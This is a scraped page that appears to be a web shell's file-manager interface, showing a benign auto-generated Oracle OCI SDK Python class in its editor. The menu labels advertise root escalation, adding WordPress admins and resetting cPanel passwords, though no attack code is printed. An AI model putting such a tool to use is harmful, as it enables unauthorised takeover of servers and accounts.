Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
lib
python3.9
site-packages
oci
data_integration
models
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: count_statistic_summary.py
# coding: utf-8 # Copyright (c) 2016, 2024, Oracle and/or its affiliates. All rights reserved. # This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may choose either license. # NOTE: This class is auto generated by OracleSDKGenerator. DO NOT EDIT. API Version: 20200430 from oci.util import formatted_flat_dict, NONE_SENTINEL, value_allowed_none_or_none_sentinel # noqa: F401 from oci.decorators import init_model_state_from_kwargs @init_model_state_from_kwargs class CountStatisticSummary(object): """ Details of the count statistic summary object. """ #: A constant which can be used with the object_type property of a CountStatisticSummary. #: This constant has a value of "PROJECT" OBJECT_TYPE_PROJECT = "PROJECT" #: A constant which can be used with the object_type property of a CountStatisticSummary. #: This constant has a value of "FOLDER" OBJECT_TYPE_FOLDER = "FOLDER" #: A constant which can be used with the object_type property of a CountStatisticSummary. #: This constant has a value of "DATA_FLOW" OBJECT_TYPE_DATA_FLOW = "DATA_FLOW" #: A constant which can be used with the object_type property of a CountStatisticSummary. #: This constant has a value of "DATA_ASSET" OBJECT_TYPE_DATA_ASSET = "DATA_ASSET" #: A constant which can be used with the object_type property of a CountStatisticSummary. #: This constant has a value of "CONNECTION" OBJECT_TYPE_CONNECTION = "CONNECTION" #: A constant which can be used with the object_type property of a CountStatisticSummary. #: This constant has a value of "TASK" OBJECT_TYPE_TASK = "TASK" #: A constant which can be used with the object_type property of a CountStatisticSummary. #: This constant has a value of "APPLICATION" OBJECT_TYPE_APPLICATION = "APPLICATION" #: A constant which can be used with the object_type property of a CountStatisticSummary. #: This constant has a value of "FUNCTION_LIBRARY" OBJECT_TYPE_FUNCTION_LIBRARY = "FUNCTION_LIBRARY" #: A constant which can be used with the object_type property of a CountStatisticSummary. #: This constant has a value of "USER_DEFINED_FUNCTION" OBJECT_TYPE_USER_DEFINED_FUNCTION = "USER_DEFINED_FUNCTION" def __init__(self, **kwargs): """ Initializes a new CountStatisticSummary object with values from keyword arguments. The following keyword arguments are supported (corresponding to the getters/setters of this class): :param object_type: The value to assign to the object_type property of this CountStatisticSummary. Allowed values for this property are: "PROJECT", "FOLDER", "DATA_FLOW", "DATA_ASSET", "CONNECTION", "TASK", "APPLICATION", "FUNCTION_LIBRARY", "USER_DEFINED_FUNCTION", 'UNKNOWN_ENUM_VALUE'. Any unrecognized values returned by a service will be mapped to 'UNKNOWN_ENUM_VALUE'. :type object_type: str :param object_count: The value to assign to the object_count property of this CountStatisticSummary. :type object_count: int """ self.swagger_types = { 'object_type': 'str', 'object_count': 'int' } self.attribute_map = { 'object_type': 'objectType', 'object_count': 'objectCount' } self._object_type = None self._object_count = None @property def object_type(self): """ Gets the object_type of this CountStatisticSummary. The type of object for the count statistic object. Allowed values for this property are: "PROJECT", "FOLDER", "DATA_FLOW", "DATA_ASSET", "CONNECTION", "TASK", "APPLICATION", "FUNCTION_LIBRARY", "USER_DEFINED_FUNCTION", 'UNKNOWN_ENUM_VALUE'. Any unrecognized values returned by a service will be mapped to 'UNKNOWN_ENUM_VALUE'. :return: The object_type of this CountStatisticSummary. :rtype: str """ return self._object_type @object_type.setter def object_type(self, object_type): """ Sets the object_type of this CountStatisticSummary. The type of object for the count statistic object. :param object_type: The object_type of this CountStatisticSummary. :type: str """ allowed_values = ["PROJECT", "FOLDER", "DATA_FLOW", "DATA_ASSET", "CONNECTION", "TASK", "APPLICATION", "FUNCTION_LIBRARY", "USER_DEFINED_FUNCTION"] if not value_allowed_none_or_none_sentinel(object_type, allowed_values): object_type = 'UNKNOWN_ENUM_VALUE' self._object_type = object_type @property def object_count(self): """ Gets the object_count of this CountStatisticSummary. The value for the count statistic object. :return: The object_count of this CountStatisticSummary. :rtype: int """ return self._object_count @object_count.setter def object_count(self, object_count): """ Sets the object_count of this CountStatisticSummary. The value for the count statistic object. :param object_count: The object_count of this CountStatisticSummary. :type: int """ self._object_count = object_count def __repr__(self): return formatted_flat_dict(self) def __eq__(self, other): if other is None: return False return self.__dict__ == other.__dict__ def __ne__(self, other): return not self == other